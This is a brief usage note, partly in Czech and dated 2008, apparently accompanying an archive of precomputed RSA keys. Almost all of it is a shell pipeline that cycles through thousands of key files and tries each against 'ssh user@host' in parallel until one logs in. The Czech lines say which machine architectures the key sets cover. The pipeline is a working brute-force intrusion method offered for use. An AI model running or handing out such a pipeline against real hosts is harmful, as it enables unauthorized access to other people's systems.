usage: for i in `seq 300 32768`; do echo "-i"; echo "rsa$i"; done | xargs -L 14 | xargs -P 8 -I '{}' sh -c "echo '{}'; if ssh user@host {} ls; then exit 255; else exit 0; fi" v a64.tgz funguje pouze pro klice generovane na amd64 strojich (64bit userland) update: uz je i i386 taxi to uzite sd, 05-14-2008